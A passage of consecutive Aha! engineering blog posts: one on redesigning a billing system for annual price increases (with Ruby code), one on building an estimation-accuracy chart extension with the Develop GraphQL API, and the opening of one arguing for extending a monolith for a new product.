Aha! has evolved significantly over the past several years. What began as a single-product offering is now a suite of world-class product development tools. To keep up with our growing userbase, we recently launched an overhaul of our billing system. We dedicated many months to rigorous planning, analyzing, and testing. After all this effort, I was shocked to discover the launch went... perfectly.

I found myself growing suspicious. We just changed an area with a high amount of essential complexity — surely we missed something. There must be an edge case, some sequence of events that would reveal an issue in our error tracking. What did I miss?

Instead, we were met with beautiful silence. My skepticism melted and hope fluttered in my stomach.

I've had my share of good and bad rollouts but this one stood out. There were numerous perfect moments during development. My teammates and I were in sync throughout, at times intuitively pushing up commits containing the precise code another had intended to write. Still, I wasn't prepared for how smoothly our system functioned. It was most profitable code I've ever written.

Leading up to the launch

A program had already run to reach out and familiarize customers with the coming changes in Q3. The date was set: January 1, 2022. We had approximately six months to implement and ship the Price Increase Program.

We considered our strategy options:

Get to work right away on the existing pieces of our system, updating them to handle price increases.
Build a new, larger-scale area in our system that could handle price increases, then adapt other parts of our system to use the new one.

Option 2 would save time overall since adapting each piece to handle price increases would be less work than reimplementing variations in each place. But it still felt risky. If we started with the piece of our system that communicated with our billing provider and got price increases working there, we could guarantee that was in place before the launch date. Investing upfront and adapting later meant pulling things together at the last minute and counting on time savings produced early.

Due to previous exposure to this domain, I knew option 2 would serve the business better — it would be worth the risk. I'm grateful to have been given the agency to pursue what I knew was best.

Discovering the environment

Coding is not a pursuit of complicated math. It is about striving to identify, understand, and organize the right pieces of the world in our minds. We then produce a corresponding set of patterns that represent these thoughts on a computer. Before diving into any code, you need to understand the environment this code was introduced to operate in. Otherwise it will be hard to know when to apply this advice.

Aha! hasn't increased prices since launching in 2013. The task for my team was to implement a 3% annual price increase. Simple, right? Just current_price * 1.03 and voilà!

Billing systems are endlessly complex. When working with such high essential complexity, it becomes vital to familiarize yourself with what you're contending with. I researched some helpful blog posts on separating billing from entitlements and why billing systems are a nightmare for engineers. In our case, we use a billing provider to tackle some of the most common concerns. Typical considerations include:

Working with dates
Prorating
Upgrades and downgrades
Corrections
Pay in advance or arrears
Dunning and retries
Usage based
Taxes and currencies
Entitlements

Fortunately we only had to implement the first four above. The others lived in our billing provider just a network request away. In addition to our customers, there's also internal CRM tooling to consider. We need to generate quotes, track opportunities, and report on the financials that are core to monitoring and maintaining a profitable business.

Sequencing the work correctly

Once you understand your environment enough, where is the right place to start? To select this, you typically want to:

Understand the pieces of the system and how they're connected.
Identify the scale they operate on.
Start with the riskiest piece first.

In our case:

The pieces of the system and how they're connected

I used this graphic as part of a presentation during the all-company meeting to explain what we were working on.

Identify the scale they operate on

Historically each piece maintained its own way of calculating the subset of billing-related data required. This has served us well for a long time. We started with Aha! Roadmaps, then Aha! Ideas, then Aha! Develop. Aha! Create had not been announced yet.

Price increases would impact our entire suite. Reimplementing the same logic in each area seemed like an awful lot of work. We began to consider an alternative approach. What if we consolidated the billing calculations into one set of objects that supported the full API surface of the rest of them and also handled price increases? Then the other areas would simply need a way to declare their data into this new, underlying format. We'd be able to leave our tables in place and incrementally roll out support across these areas in priority order. Thus, the idea of the "billing calculator" came into focus as we realized we'd require a slightly larger-scale abstraction.

Start with the riskiest piece first

One option was to start by rolling out this new billing calculator inside our opportunities. They contain a simpler surface area and only deal with more abstract revenue. It would be a smaller, isolated area to change in our system. However, we opted to focus on quotes first. Quotes encompass every possible transition a customer can make between our plans, deal with proration, and have much more fine-grained needs of a supporting API. This is opposed to records, which deal with more aggregate numbers. Quotes need to break down line items, where an opportunity only cares about the aggregate revenue value of a given record.

We dove into the most challenging area first. Design for the extremes and the middle will take care of itself.

Not technical debt: Wisdom, beauty, and age

At Aha! we think about code in two ways — wisdom and beauty. Code gains wisdom when it's exposed and adapted to real-world use. Code is beautiful when it is succinct, elegant, and extendable. As architect Christopher Alexander would say, it "has that property which cannot be named." Codebases also age naturally — code that once existed for a purpose may become irrelevant. When I initially reviewed the existing code, a lot of what appeared to be old age was actually wisdom. It just wasn't very beautiful.

An example of this is that we had two different internal structures representing our list plans in addition to our billing provider. Customers can purchase an Aha! Roadmaps subscription, then add-on an Aha! Ideas plan. One of the lists was to represent the values also present in our billing provider. Make sense.

But why the second whole list with a different set of values for the same items?

This second list existed so we could resolve future values we didn't know yet. In some interactions and forms, we needed a way to represent the idea of a plan that would be resolved to a real plan at a future date. We might not know which Roadmaps plan a customer would choose, but when they did choose one, we could associate the right Ideas add-on plan with it. This indicated the need for what has become a very useful part of our new Billing API surface: the ability to resolve the appropriate add-on plan for an existing standalone plan.

At first glance, this seemingly duplicated set of values might look like a surprising choice. But we made it because there were often situations in our internal tooling where we'd be able to massively simplify the UX by choosing a value that meant "fill this in with the right plan once we know what it is later." There were other places we computed prices in JavaScript. For these we could simply rearrange the UX to provide the same values from the Ruby on our servers.

The goal is differentiating wisdom from age and then finding ways to increase beauty. Such wisdom will be especially prevalent in billing systems.

When exploration is worth it

I had previous experience with our quotes but some challenges included:

Our billing provider — Which API calls did we need to update the amount a customer was billed?
The nature of the logic that would cause price increases.
The API surface we truly needed to support.

Before changing any existing logic, my goal was to start building the billing objects we needed to handle the heavy lifting for quotes. I also needed to ensure that we updated our billing provider with the correct information on what to do in any given situation. This amounted to me oscillating between independent work and validating questions with the team. Billing behavior is intricate because many possible operations can occur. And it is stable because we generally want the exact same thing to occur in the same conditions over time. This meant unit testing would be valuable.

Abstractions with reach

The key property of code is how easy it is to change. So the right question is "what kind of change?" The kind of change you need to accommodate is determined by your environment. As you delineate different parts of your code and build connections between these parts, different types of change become easier and harder to introduce.

An abstraction is good when its underlying rules are simple, hard to vary, and the reach of situations it can grapple with is high. In our transition to a multi-product suite of tools, the environmental changes we need to accommodate are new products and new plans. I suspect this is the case for most billing systems. One of the complexities of our price increase program was around transitions. At given points in time we might need to either increase, retain, or reset the price levels for a given account.

This meant we needed the ability to compare any plan with any other given plan and determine which one was the "greater" plan. Then when deciding to increase the prices or reason for a plan change, all we have to do is ask if new_plan > old_plan.

When it comes to system design, consider the parts and how are they connected. Here is what a simplistic system composition that can accomplish comparisons looks like:

Each individual plan is stored as its own, fully connected piece of data. Any reasoning the system does is between different plans. If we store them in a big list ordered by ranking, all we need to do is compare positioning in the list. I initially took this approach.

While breaking this problem down and scoping it out with our product managers, my teammate Andrew Vit gently coached me down a pathway that lead to a different system composition. Instead of reasoning about each plan as its own independent and fully connected piece of data, what if our comparison logic reasoned about the pieces of a plan instead of the whole plan? What if we ranked the parts of a plan against each other, instead of just the whole plan?

Each plan consists of:

Product
Type (standalone or add-on)
Plan level
Period length

We currently have about 40 independent plans. If our transition logic operated against this list of "whole" plans then we'd be able to reason about our 40 plans. The objects we reasoned about were "strongly connected," meaning we could only reason about an entire plan and not pieces of that plan. However, if we added new plans, we'd have to update our implementation to account for each of the connections between plans.

Reality is not so discrete. Portions of our system can reason about "hypothetical" plans, and other areas need to deal with partial plan information. We want to be able to easily handle the addition of new products and new kinds of plans. Renegotiating the whole list for each addition is a lot of work.

What would the reach of our system be if instead of reasoning about whole plans, we subdivided what a plan was and reasoned about them at this finer scale? Here is what the system would look like if designed this way instead:

An order of magnitude more plans. Without going into all the periods and product subtrees (this is a simplified graphic), the number of plans the comparison logic can provably reason about is easily over 400. Instead of just being able to reason about the existing plans we have, an implementation approach oriented around the parts of a plan could reason about all other possible plans that could be made using these parts as well as being able to reason about "partial" plans (which is quite convenient for UI interactions). The tradeoff here is this piece of our system can't recall only the plans we actually use, but we don't need that here. We already have that elsewhere, which makes this a great tradeoff!

To implement this we leveraged the Comparable behavior of Ruby. This code requires minimal, additive changes to support new products and plans because all we need to update is what the parts of a plan are and how they relate.

module Billing
  module TransitionRankings
    include Comparable

    def <=>(other)
      return -1 if startup? && !other.startup?
      return 1 if !startup? && other.startup?

      by_type_rank(other) or
        by_product_rank(other) or
        by_period_length(other) or
        by_plan_rank(other) or
        0
    end
  end
end

Other elements of our system needn't care about comparisons between plans with all the behavior encapsulated in this one module.

Adding support for a whole new Aha! Create product means updating the rankings between products from:

    def product_rank
      return 3 if product == :roadmaps
      return 2 if product == :ideas
      return 1 if product == :develop

      0
    end

to:

    def product_rank
      return 4 if product == :roadmaps
      return 3 if product == :ideas
      return 2 if product == :develop
      return 1 if product == :create

      0
    end

Minimal code changes, maximal reach. Throughout the codebase areas that utilize this logic, a common piece of feedback we get during exploratory testing is:

I can't break it.

Do what makes sense for your environment

I'm going to give some seemingly contradictory advice. Adapt to your environment and don't blindly follow what you read in a blog post. I just said "don't hardcode your list of plans" and now I'm going to tell you: we hardcoded them and it was great. We also put all of our plans in a .yml file stored in our code base. These would all be read in a lazily instantiated hash (or map, for non-Ruby) as Plan objects accessible through the Billing::Plan.definitions class method.

    def self.definitions
      @definitions ||= YAML.load_file("config/billing_plans.yml").each_with_object({}) { |(id, defn), hash| hash[id] = Billing::Plan.new(id, defn) }
    end

This made sense for us because:

These plans rarely change. Once used by a customer, the data representing a plan will never change.
Storing them in our code allowed us to stop making a large number of network requests to retrieve data that doesn't change.
It was useful to store extra pieces of information about our plans we couldn't easily specify in our billing system but was still valuable to know (like whether it was archived or fixed price).

By reading this data in from a .yml file into a collection of value objects, we're able to trivially change our mind on the source of data later in case we needed to start sourcing it from other systems again. My advice about not hardcoding any plan values is limited. The important element to focus on is each region of your system should operate on a single scale. The more popular way of articulating this notion is, "strong encapsulation." However, I don't find this advice actually helps me make good decisions on how to structure code because it's too ambiguous. Focusing on what the parts are, the scale they operate on, and how they're connected is much more useful.

Plans are value objects that operate on the scale of whole, independent plans. Plan comparison logic, by contrast, operates on the individual attributes of the given plans. Although each module is combined in the whole of the billing system, they make sense maintaining independent (or encapsulated) identities because they operate at different scales. The subdivision of the logic inside our comparison logic is what gives it so much reach.

Can we provide more reach at the larger scale of our value objects too? As long as we're providing linkage to entire plan objects — yes, it fits!

We were able to provide a single, larger-scale object that would let any part of our system easily go from some local value into the correct plan.

module Billing
  class Plan
    def self.from(model_or_val)
      case model_or_val
      when Billing::Plan
        model_or_val
      when String
        from_billing_code(model_or_val)
      when Integer
        from_enum_value(model_or_val)
      # etc
      end
    end
  end
end

This means places in our system that previously couldn't directly communicate could now reason together apples-to-apples. From there, a bevy of methods emerged, which made it easy to get from any plan you start with to any other desired plan.

    def self.relative_addon_plan(primary_plan, addon_sentinel)
    def self.switch_frequency(plan, desired_frequency)
    def self.for_product(products)
    # etc

The key is to reason with our Plan objects, rather than any specific hardcoded code or data, which was really a Plan by some other name.

Launch fundamentals

Now that we've dug into the environment and looked at some code written to represent it, let's talk about the process around how to arrive at the right™ code. This is the hard part. You have to commit to putting in the emotional labor to produce and then let go of your work. Then ensure the necessary communication between the elements of your team and organization is taking place. If you lack either of these efforts, you won't have a smooth launch.

How to produce perfect moments

When you're feeling internal friction and resistance while coding, it may mean there is something in your code you need to fix. Or maybe you don't understand your domain deeply enough and you need to go learn more. Great code comes from humility and error correction along these two dimensions.

There's a rare satisfaction that sometimes comes with writing code — when what you imagined is perfectly reflected on the screen and functions just as you planned. When your teammates are so in sync they are able to provide just the right collaboration and refinement needed to bring big ideas to life. This is how you produce perfect moments. The existence of these perfect moments is how you know you've correctly identified, organized, and represented your domain in code. New and useful applications of your code unfold as others discover what you have and bring their own perspective.

My trick to produce them involves investing, refining, and embracing.

Invest

Get to a point in your work where you're convinced the code simply can't be written any other way. Be honest with yourself about when this is, and once you've hit it, trust it. This is hard to do because you will need to endure periods of high uncertainty.

When grappling with quotes, I ended up producing two classes. Heavily tested and ready for use, they provided the API surface necessary to power our quotes. This meant they should theoretically support what we needed everywhere else, right? I held a small team meeting to walk through what these classes were and how they could be used.

As our efforts ran in parallel on different pieces, I began to get worried. Nobody was using the classes I'd taken the time to build out. Had I gotten it wrong? Had I wasted time and blocked others to produce enabling code they weren't even going to need?

I hopped on a call with a teammate a week later. They walked through the code they built out and showed me a couple of places they repeated a pattern:

 products = [
   # plan, number of seats, period length
   # plan, number of seats, period length
   # plan, number of seats, period length
 ]
 info = do_things_with_products(products)

They stored information about each product on an account and had areas of code that looked across all those areas to arrive at decisions. I started to get excited because we have classes for those. Our ensuing conversation turned into the descriptions at the top of the classes.

module Billing
  # = Billing Bundle
  #
  # The Billing Bundle houses and aggregates the concrete, instantiated values which describe an account
  # for a given period of time. It houses and aggregates Billing Sub Periods, which represent the individual
  # products, plans, seats and price levels an account may have.

  # = Billing Sub Period
  #
  # Billing Sub Period relates a product to a pricing strategy (a Billing::Plan,
  # Billing::Subscription, or other plan-like object) to a range of time.
  # Billing Sub Periods are contained inside a Billing Bundle to represent the
  # state of products an account might have at a given time.

Every other piece of our system related to billing can be declared as instances of these classes. I watched the light flip on in their eyes. What I had missed in my earlier presentation about these classes was an adequate dive into the parts of our system that made them necessary. Maybe the most expedient way wasn't a presentation at all. It was to let teammates get into the work and introduce the new classes the moment they were needed. These may not be independently discoverable, which is a helpful indication of how we could structure our code better.

Refine

The classes you build, the names you choose, and the logical patterns you employ are all necessary tools to scaffold your understanding. These are tools to help you on your journey but they are not the point of it. We must lean on these to gain deeper access and understanding. Consider all the alternatives and ensure you have the internal space to reflect.

Andrew suggested I approach the "transition rankings" of our plans differently. That argument I insisted must be required? Well, maybe it wasn't. Tweak by tweak, test by test, the logic gained flexibility, ease, and life.

This is the critical moment to listen. When you embrace the richness and detail of what the world tells you, when you choose to prioritize curiosity over behaviors of ego or insecurity, that is when it gets incredibly fun. And when your whole team does this together, you will really get moving.

Cherish the unfolding

Once teammates started using the classes, a bevy of improvements I couldn't have anticipated started making their way in. Convenient defaults. Better names. Here's one I absolutely loved:

module Billing
  class SubPeriod

    def change(**fields)
      SubPeriod.new(
        plan: fields.fetch(:plan, @plan),
        duration: fields.fetch(:duration, @duration),
        seats: fields.fetch(:seats, @seats),
        state: fields.fetch(:state, @state),
        price_level: fields.fetch(:price_level, @price_level),
        discount: fields.fetch(:discount, @discount)
      )
    end

SubPeriod#change returns a new instance of a sub period. In many places we are going from some existing account state to some slightly different version of it. This method makes the behavior of the code clear and obvious because you immediately understand the origin of each property in the new sub period.

Sometimes you'll get wonderful instance methods. Sometimes, if you're lucky, you'll get a pattern so powerful and well-applied you'll reforge the rest of the code in your domain in its shape.

The way of "#changes"

The pattern I'm about to describe saved us. Weeks before going live, scope changes came down the line. Between PM and engineering we realized, functionally, we will need to compute and update accounts at many more points in time than simply the ones we'd been targeting. We now had a deeper understanding of the various path dependencies. For one example, if account XYZ isn't updated at point B, then the system won't function properly at point C.

Increasing prices meant our internal system would now determine what a given product would cost and not plan information stored in the billing provider. Although the billing provider would actually charge and collect, our internal tooling now needed to become the control plane to cause this. To provide accurate prices to customers and the billing provider alike, our system needed to be able to run hypotheticals. We needed an extensive test surface and number of dry runs on this new behavior. That's when a beautiful pattern and language emerged that the rest of our code has since adopted:

Gather your inputs.
Compute your changes.
Compare those changes with the current state of the system.
If they're different, update the system to your desired state.

In our case we compute the price for a given plan based on an account's price_level. Price levels increment independently per product.

We can streamline our inputs to current + pending = incremented

Current state of the account + Intended state of the account will result in = Resulting state of the account

The difference between the current state and the incremented state should be stored in a #changes hash containing the old value and the new value per attribute.

This language sidesteps the naming difficulties chronology can introduce. The names make sense whether you're talking about recomputing a transition that's occurred in the past, whether you're live and about to charge a customer an increased price, or you're running future hypotheticals while building a quote.

Storing values inside #changes facilitates easy testing, enables dry runs in production situations to see what would happen, and ensures a common structure for all the places in your application that need to compute transitions — real or hypothetical.

All the hallmarks of a good abstraction are present — a simple set of underlying rules that don't vary and are useful across a wide number of situations. This let us safely and deftly handle some large, last-minute changes to do exactly that.

Frame the best shapes

Shaping is how the work is defined. Framing is how the work is represented. While your implementation unfolds, certain insights about the whole effort will emerge. You will, as we did with the #changes pattern, find certain ideas that convey more complex patterns and ideas simply.

"Our application is the control plane" — our internal administrative system is responsible for computing the correct price and controlling what value is inside our billing provider.
"Plan is the source of truth" — the plan instances themselves are the units that contain the highly tested, trustable values as to what prices should be used.
"Current + pending = next" — (discussed above).

With just these three frames, you can begin to make sense of and understand large portions of the system, or effectively guess where to look next.

Frame the ideas which define the shape of your system. These are mental affordances to build large amounts of useful context for future developers who will interact with your system.

Tune your communication

Most importantly a smooth launch requires open and ongoing communication from all teammates. For us this meant a dedicated Slack channel that received our highest level of priority and attention, short of incidents and security issues. We don't typically do standups, but for this we did. They began weekly and became more frequent as the date approached and our needs grew.

As the launch date crept nearer, we began feeling unsure that we would deliver on time. We discussed this concern freely and it changed the approaches we were taking. Sometimes nonessential scope was pulled out and moved later. Sometimes newly discovered essential scope was prioritized. We did this as we progressed through the implementation. Our team was honest about the work and our progress.

The temptation around communication processes is to try and ideate the perfect, unchanging version ahead of time. But when you do that, your process won't be adapted to your environment, so it will only work well if you're lucky. The key here is consistently thinking about how you communicate and choosing to change your behavior based on what's occurred. Simple is best.

Start a free trial today

Our suite of product development tools work seamlessly together to help teams turn raw concepts into valuable new capabilities — for customers and the business. Set strategy, spark creativity, crowdsource ideas, prioritize features, share roadmaps, manage releases, and plan development. Sign up for a free 30-day trial or join a live demo to see why more than 5,000 companies trust our software to build lovable products and be happy doing it.

Creating charts with the Aha! Develop API and extensions

Jeremy Wells — Thu, 12 May 2022 00:00:00 GMT

An important aspect of developer tools is being able to visualize work and progress in various ways. A well-known example is the burndown chart that agile teams use to track their progress through iterations. There are many other standard visualizations, such as throughput charts, which are useful for kanban teams.

To make Aha! Develop extendable and flexible, we’ve implemented new functionality using our public API and extension SDK. This lets us build the best in-app experience and also support extension developers and customers who wish to query the data themselves.

Let's walk through the new record events API that underlies our reports. I'll demonstrate how to use it to create your own report within a custom Aha! Develop extension to track estimation accuracy. The finished code for this extension is available on GitHub.

Charting with recordEvents

To make a chart, you need to be able to see the changes that happened over time. Aha! Develop keeps a timeline of events and provides a new GraphQL API query endpoint called recordEvents . You can start exploring this API in your own Aha! account, after you are logged in, using the GraphQL explorer.

When we looked at the kinds of charts useful to development teams, grouping the data was clearly important. A burndown chart, which looks at changes over a single sprint, might be interested in every single event over the course of the sprint. A velocity chart, showing changes over many sprints, needs to group a limited amount of information by sprint. Processing every single event for a whole year of sprint work wouldn’t be optimal.

Therefore, underneath the recordEvents query, you’ll find three subqueries that give different views into the data. These are raw, grouped and timeSeries

raw: This is for fetching the raw events. It is useful for querying the events on a particular record or a very limited subset of events.
grouped: This is for fetching events with a custom grouping. For example, you can elect to group events by iteration by specifying groupBy: ITERATION_ID. Groups of events are always provided with a count and the estimation fields are aggregated. The aggregation method can be chosen by an optional argument, defaulting to SUM.
timeSeries: Group events by a provided time grouping. The timeGroup argument can be HOUR, DAY, WEEK or MONTH. As with the grouped query, estimation fields are aggregated, and the aggregation can be chosen by an optional argument.

The top level recordEvents query also has a filters argument. These filters will be applied to the data in whatever form is requested. For example, if you make an extension that shows a chart you might always apply a teamId filter to narrow the results down to the currently selected team.

Filters are optional except in the case that timeSeries data is selected. A time series always requires a filter by time range:

recordEvents( filters: { createdAt: { gt: '2022-01-01', lt: '2022-02-01' } } )

As you’ll find in the GraphQL explorer, there are many event types. It’s likely that any chart will only need events for one type or several related types. You can filter by one or more event type using the eventType filter. This takes a single value or an array.

You can filter by the event subject record. For example, to get all of the events for a single feature, you might specify filters: { eventSubject: { id: 'FEAT-123', typename: 'Feature' } }

You can also filter using assignedToUserId, epicId, featureId, iterationId, releaseId, requirementId, teamId, teamWorkflowStatusId. These are powerful filters because they do not filter by just the event subject record, but instead by the references to other records. For example, if we specify filters: { featureId: 'FEAT-123' } then we will get events for that feature and any requirements of the feature.

An example is querying for events, filtered by team and only including events for when a record is completed or restarted. A completed record has a team status of Done. A restarted record has a team status that changed from a Done status back to an In progress status.

query GetEvents {
  recordEvents(filters: { teamId: "TEAM-123", eventType: [RECORD_COMPLETED, RECORD_RESTARTED] }) {
    grouped(groupBy: ITERATION_ID) {
      groupByValue
      originalEstimate
      eventType
    }
  }
}

Building an Estimation Accuracy chart

Imagine we have a team whose estimations on some features are way too low in comparison to other features. What they thought was a 2 on their point scale turned out to be a 13 and couldn’t be completed within the current sprint. The team wants to tackle the problem, understand how bad it is, and see the improvement. They need an Estimation Accuracy chart.

Let’s make an extension using the aha-cli.

> npm install -g aha-cli

The aha-cli provides several commands for creating, building, and installing extensions. We’ll use the extension:create command to create a new extension:

> aha-cli extension:create
? Enter a human readable name for your extension: Estimation Accuracy
? Who are you? Your personal or organization GitHub handle is a good identifier: fredwin
? Each extension must have a universally unique identifer that is also a valid NPM package name.
Generally a good identifier is <organization-name>.<extension-name>.
Enter an identifier: fredwin.estimation-accuracy

At this stage, the extension:create command will ask if you want to add a contribution. We’ll create a page view extension contribution so we have a whole page in the team navigation for the new chart:

? Are you ready to add contributions? yes
? Enter a human readable title for your contribution: Estimation Accuracy
? Enter a name for your contribution: estimationAccuracy
? Select a type for your contribution: view
? Enter an entry point for your contribution: src/views/estimationAccuracy.js
? Enter the host for your view: page
? Enter a navigation menu location for your page: Plan
? Add another contribution? no
> cd estimation-accuracy

Let’s add Nivo for charting:

> npm install @nivo/line

And start the extension:

> aha-cli auth:login
> aha-cli extension:watch

There is now a menu item for Estimation Accuracy under the Plan menu in Aha! Develop. The page is empty.

Open the file src/views/estimationAccuracy.js. We can start filling in the page to fetch and draw the data. First let’s just make a function to fetch all the available completed iterations:

const getCompletedIterations = async () => {
  return aha.models.Iteration.select("id", "name")
    .order({ startDate: "ASC" })
    .where({ status: [30], projectId: aha.project.id })
    .findInBatches();
};

Now we’ll make a function to fetch the events we’re interested in. What we want to do here is compare the estimate at the start of a sprint to changes made to record estimates during a sprint. So we load the events with the types ITERATION_START and RECORD_ESTIMATE_CHANGED grouped by ITERATION_ID. We only want the events for the sprints in the team we’re currently viewing, so we add a teamId filter as well:

const getEstimationEvents = async () => {
  const query = `
    query GetEstimationEvents($filters: RecordEventFilters!) {
      recordEvents(filters: $filters) {
        grouped(groupBy: ITERATION_ID) {
          groupByValue
          originalEstimate
          eventType
        }
      }
    }
  `;

  const filters = {
    eventType: [
      aha.enums.RecordEventTypeEnum.RECORD_ESTIMATE_CHANGED,
      aha.enums.RecordEventTypeEnum.ITERATION_START,
    ],
    teamId: aha.project.id,
  };

  const data = await aha.graphQuery(query, { variables: { filters } });
  return data.recordEvents.grouped;
};

Now let’s make a chart component that loads that data, shows a spinner while the data is loading, and then displays nothing when finished:

const Chart = () => {
  const [iterations, setIterations] = useState(null);
  const [events, setEvents] = useState(null);

  useEffect(() => {
    getCompletedIterations().then(setIterations);
    getEstimationEvents().then(setEvents);
  }, []);

  if (!iterations || !events) return <aha-spinner />;
  return <div></div>
};

aha.on("estimationAccuracy", () => {
  return (
    <>
      <h2>Estimation Accuracy</h2>
      <Chart />
    </>
  );
});

Easy so far. Now we just need to display the data in a line chart. First we make sure we only look at iterations that have events. This goes into the Chart component function under the spinner line:

  const iterationsWithData = [...new Set(events.map((e) => e.groupByValue))]
    .reduce((acc, id) => {
      const iteration = iterations.find((i) => i.id === id);
      return iteration ? [...acc, iteration] : acc;
    }, [])
    .sort(
      (a, b) =>
        new Date(a.startDate).getTime() - new Date(b.startDate).getTime()
    );

Now we need to provide the line data as expected by Nivo. We’re providing a list of points where each point has the iteration name as the x value and the estimation accuracy % as the y value.

  const data = [
    {
      id: "Estimation Accuracy",
      data: iterationsWithData.map((iteration) => {
        const originalEstimate =
          events.find(
            (event) =>
              event.groupByValue === iteration.id &&
              event.eventType ===
                aha.enums.RecordEventTypeEnum.ITERATION_START.value
          )?.originalEstimate || 0;

        const estimateChangedBy = Math.abs(
          events.find(
            (event) =>
              event.groupByValue === iteration.id &&
              event.eventType ===
                aha.enums.RecordEventTypeEnum.RECORD_ESTIMATE_CHANGED.value
          )?.originalEstimate || 0
        );

        return {
          x: iteration.name,
          y:
            originalEstimate === 0
              ? 100
              : (1.0 - estimateChangedBy / originalEstimate) * 100,
        };
      }),
    },
  ];

And so for each iteration we find the ITERATION_START event. The originalEstimate value for this event is the sum of all the iteration records when the iteration was started. We then find the RECORD_ESTIMATE_CHANGED event. As we’ve grouped by ITERATION_ID, this will hold a sum of all of the estimate changes for records that were in the iteration at the time the estimate changed. We use Math.abs because estimations can go up or down and we’re only interested in the overall magnitude of the difference.

The y value is the % difference between the original iteration estimate and the amount of change in the iteration records. (1.0 - estimateChangedBy / originalEstimate) * 100.

Finally we pass that data into a Nivo line component and we can find an example in the documentation to copy:

  return (
    <div style={{ width: "100%", height: "500px" }}>
      <ResponsiveLine
        data={data}
        margin={{ top: 50, right: 110, bottom: 50, left: 60 }}
        xScale={{ type: "point" }}
        yScale={{
          type: "linear",
          min: 0,
          max: "auto",
          stacked: false,
          reverse: false,
        }}
        yFormat=" >-.2f"
        axisTop={null}
        axisRight={null}
        axisBottom={{
          tickSize: 5,
          tickPadding: 5,
          tickRotation: 0,
          legend: "Sprint",
          legendOffset: 36,
          legendPosition: "middle",
          format: (name) => name.split(" ")[1],
        }}
        axisLeft={{
          tickSize: 5,
          tickPadding: 5,
          tickRotation: 0,
          legend: "Points",
          legendOffset: -40,
          legendPosition: "middle",
        }}
        pointSize={10}
        pointColor={{ theme: "background" }}
        pointBorderWidth={2}
        pointBorderColor={{ from: "serieColor" }}
        pointLabelYOffset={-12}
        pointLabel={(d) => `${d.y}`}
        useMesh={true}
        legends={[
          {
            anchor: "bottom-right",
            direction: "column",
            justify: false,
            translateX: 0,
            translateY: 50,
            itemsSpacing: 0,
            itemDirection: "left-to-right",
            itemWidth: 80,
            itemHeight: 20,
            itemOpacity: 0.75,
            symbolSize: 12,
            symbolShape: "circle",
            symbolBorderColor: "rgba(0, 0, 0, .5)",
            effects: [
              {
                on: "hover",
                style: {
                  itemBackground: "rgba(0, 0, 0, .03)",
                  itemOpacity: 1,
                },
              },
            ],
          },
        ]}
        enableSlices="x"
        sliceTooltip={({ slice }) => {
          return (
            <div
              style={{
                background: "white",
                padding: "9px 12px",
                border: "1px solid #ccc",
              }}
            >
              <div>{slice.points[0].data.x}</div>
              {slice.points.map((point) => (
                <div
                  key={point.id}
                  style={{
                    padding: "3px 0",
                  }}
                >
                  <strong>{point.serieId}</strong>: {point.data.yFormatted}%
                </div>
              ))}
            </div>
          );
        }}
      />
    </div>
  );

We’re adding a lot of style hacks to get this looking reasonable, which is fine for our quick ad-hoc report.

Now we have a simple line chart showing that this team has a highly variable and low estimation accuracy. With this information visible, the team can make and track improvements to how they work.

There are many ways to slice and dice the event data we’ve made available in Aha! Develop. The record event API can be accessed externally or by building extensions.

Sign up for a free trial of Aha! Develop

Embrace the monolith: Adding a new product to Aha!

Percy Hanna — Thu, 28 Apr 2022 00:00:00 GMT

When our engineering team first began conceptualizing Aha! Develop, we were faced with a monumental question. How should we implement the architecture of adding a brand new product? We could start fresh with a brand new codebase, utilizing the latest technologies and frameworks. Or we could build on top of our existing monolithic codebase that powers Aha! Roadmaps and Aha! Ideas. We examined the pros and cons of greenfield, microservices, or continuing to use our existing monolith — all in pursuit of the most lovable solution for our users.

Option 1: Greenfield

Starting with a brand new codebase is really appealing. We could keep it simple without any extra baggage like complex dependencies, legacy code, technical debt, or old build pipelines. Using the latest versions of all of our favorite frameworks like Rails 7 and React 18 would mean not having to worry about testing for regressions. And we could start fresh with a new design system or CSS framework.

Developing something new out of nothing is one of the things that excites me the most about product development work. But eventually you will start building the same features you’ve built before. Maybe some are already in a Ruby gem or JavaScript npm package, so you could easily incorporate them into a new product. But in most situations, it’s specific to your business and not neatly packaged inside a gem. You could extract some from other codebases, but you'll end up reinventing the wheel or duplicating a lot of old code.

Even if the new greenfield product does not have a lot of overlap with previous products, you might find yourself rewriting common systems like authentication, permissions, notifications, or other things you’ve implemented before. Most applications share a lot of this core functionality regardless of the product itself.

Option 2: Microservices

Microservices have been popular in the past several years. Building Aha! Develop on top of microservices would make our application more modular and scalable. We could transition core functionality of authentication, permissions, notifications, and sharing/publishing to their own microservices. These would lead to smaller pieces of isolated code that are only responsible for a concise set of tasks. They can be scaled independently in order to maintain service level objectives (SLOs) or other key metrics. Then Aha! Develop could reuse these core services with a UI built separately from the other products in our suite. All of our core business logic would be nicely encapsulated, tested, and deployed separately. Any number of interfaces or APIs could be built on top of that foundation.

That would all come with some fairly significant tradeoffs. As the dependency hierarchy between each microservice or application grows, changes require complex coordination between various teams to prevent regressions. When new features are needed, meetings and thorough documentation ensure the necessary APIs behave as expected to support the desired functionality. Teams must coordinate back and forth over weeks or months to manage the testing, development, and deployment of the new features. As the product requirements evolve, additional meetings and work are needed to support the new behaviors.

The benefits of having simpler code in microservices get eroded by increased process and operational complexities. Sometimes those tradeoffs are worth the effort, though.

Option 3: Monolith

Our third option was to continue building on top of our existing monolithic application. We had already added Aha! Ideas to our suite of products in late 2020. This gave us the confidence that we could build another new product using a similar approach, even though it was targeting an entirely new demographic — developers. This approach also allows for better integration and consistency for customers using multiple Aha! products together.

Monolithic applications are sometimes frowned upon due to their other costs of operation. For example, some frontend JavaScript developers might prefer more isolation from our Rails backend. If a developer is using a platform or framework they're less familiar with, this could affect productivity or developer happiness — something that cannot be ignored. We've found that providing documentation and onboarding processes helps alleviate these issues.

A monolithic application can also quickly run into performance limits, often from an underlying service. For example, due to the large volume of job queuing, we have run into CPU and memory bottlenecks with our Redis-backed Resque service. We were able to make improvements to our job queuing by implementing a Kafka-based queuing system. This improved the performance and reduced the latency of our jobs. The jobs are still executed as part of our monolithic application — meaning the operational costs are fairly isolated.

Extending the monolith

Extending the monolith ended up being the clear winner for Aha! Develop. We already had a solid foundation of core functionality. Adding new features or APIs would not be any more difficult than if we had chosen greenfield or microservices.

By embracing our monolithic codebase, we were able to launch Aha! Develop on top of the foundation we had already built. For example, instead of reimplementing authentication and permissions from scratch, we focused on building compelling new features like extensions, the workflow board, and our new GraphQL API.

Security and permissions

